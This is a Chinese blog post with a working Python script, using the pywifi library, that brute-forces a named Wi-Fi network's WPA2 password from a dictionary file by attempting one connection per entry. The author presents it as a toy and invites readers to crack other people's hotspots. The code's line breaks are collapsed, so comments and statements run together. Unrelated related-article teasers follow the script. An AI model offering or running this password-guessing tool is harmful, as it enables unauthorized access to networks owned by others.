wifi、热点密码破解 - python

server/2024/10/21 4:08:49/

乐子脚本,有点小慢,试过多线程,系统 wifi 连接太慢了,需要时间确认,多线程的话系统根本反应不过来。

也就可以试试破解别人的热点,一般都是 123456 这样的傻鸟口令

image-20241018100215911

image-20241018100350221

# coding:utf-8
import pywifi
from pywifi import const
import time# 测试连接,返回链接结果
def wifiConnect(wifiName,pwd):# 创建WiFi连接文件profile = pywifi.Profile()# 要连接WiFi的名称profile.ssid = wifiName# 网卡的开放状态profile.auth = const.AUTH_ALG_OPEN# wifi加密算法,一般wifi加密算法为wpsprofile.akm.append(const.AKM_TYPE_WPA2PSK)# 加密单元profile.cipher = const.CIPHER_TYPE_CCMP# 调用密码profile.key = pwd# 删除所有连接过的wifi文件iface.remove_all_network_profiles()# 设定新的连接文件tep_profile = iface.add_network_profile(profile)iface.connect(tep_profile)# wifi连接时间time.sleep(1)if iface.status() == const.IFACE_CONNECTED:return Trueelse:return False# 读取密码本
def readPassword(path):print("开始破解:")# 打开文件file = open(path, "r")# 一行一行读取passwords = file.readlines()for password in passwords:# 尝试连接wifibool = wifiConnect(wifiName,password)if bool:print(f"\033[91m[+]成功连接!密码:{password}\033[0m")exit()else:# 跳出当前循环,进行下一次循环print("[-]testing:",wifiName, password,end="")if __name__ == '__main__':print("\033[91m保证 wlan 功能模块开启!\033[0m")wifiName = input("输入wifi名称:")path = input("输入密码字典路径:")while True:# 抓取网卡接口wifi = pywifi.PyWiFi()# 获取第一个无线网卡iface = wifi.interfaces()[0]# 断开当前网络连接iface.disconnect()# 输出无线网卡名称print(f"当前无线网卡:{iface.name()}")readPassword(path)

image-20241018093911542


http://www.ppmy.cn/server/133528.html

相关文章

python 打包为动态链接库(.so文件)

参考资料:https://medium.com/yeap0022/linux-compress-python-packages-into-shared-library-so-8342bffab001 注意事项:.py, .c后缀文件都可以删掉,cache也可以删掉,但是__init__.py文件不能删,建立的子文件夹也不能…

JavaWeb环境下Spring Boot在线考试系统的优化策略

摘要 随着信息技术在管理上越来越深入而广泛的应用,管理信息系统的实施在技术上已逐步成熟。本文介绍了基于JavaWeb技术的在线考试系统设计与实现的开发全过程。通过分析基于Java Web技术的在线考试系统设计与实现管理的不足,创建了一个计算机管理基于Ja…

Android——通过MediaStore查询图片

查询图片: private void loadImageList() {String[] columns new String[]{MediaStore.Images.Media._ID, // 编号MediaStore.Images.Media.TITLE, // 标题MediaStore.Images.Media.SIZE, // 文件大小MediaStore.Images.Media.DATA, // 文件路径};Cursor cursor g…

基于FPGA的以太网设计(四)

1.ARP协议简介 ARP(Address Resolution Protocol),即地址解析协议,是根据IP地址(逻辑地址)获取MAC地址的一种TCP/IP协议。在以太网通信中,数据是以“帧”的格式进行传输的,帧格式里…

零代码快速开发智能体 |甘肃旅游通

在互联网信息爆炸的时代,寻找一处让人心动的旅游胜地往往需要花费大量的时间和精力。而今天,我要向大家介绍一款能够帮助你轻松规划甘肃之行的智能体——“甘肃旅游通”。这款智能体通过低代码开发,集合了丰富的旅游信息和个性化推荐功能&…

单片机裸机程序 —— 设计模式

目 录 软件设计模式的用途一、轮询模式二、前后台模式三、时间片模式四、状态机模式 软件设计模式的用途 专业的程序员不会在知道需求后,马上脑热地去敲代码,然后一边调试一边修复bug。好习惯是把前期工作做好再开始敲键盘,比如选定一个合适…

【Spring】获取Cookie和Session(@CookieValue()和@SessionAttribute())

获取 Cookie 传统获取 Cookie 这是没有 Spring 的时候,用 Servlet 来获取(获取所有的 Cookie) Spring MVC 是基于 Servlet API 构建的原始 Web 框架,也是在 Servlet 的基础上实现的 RequestMapping("/getcookie") …

Java最全面试题->Java基础面试题->JavaSE面试题->面向对象面试题

面向对象 下边是我自己整理的面试题,基本已经很全面了,想要的可以私信我,我会不定期去更新思维导图 哪里不会点哪里 1.面向对象和面向过程的区别 面向对象: 优点:易维护,复用,扩展。面向对象…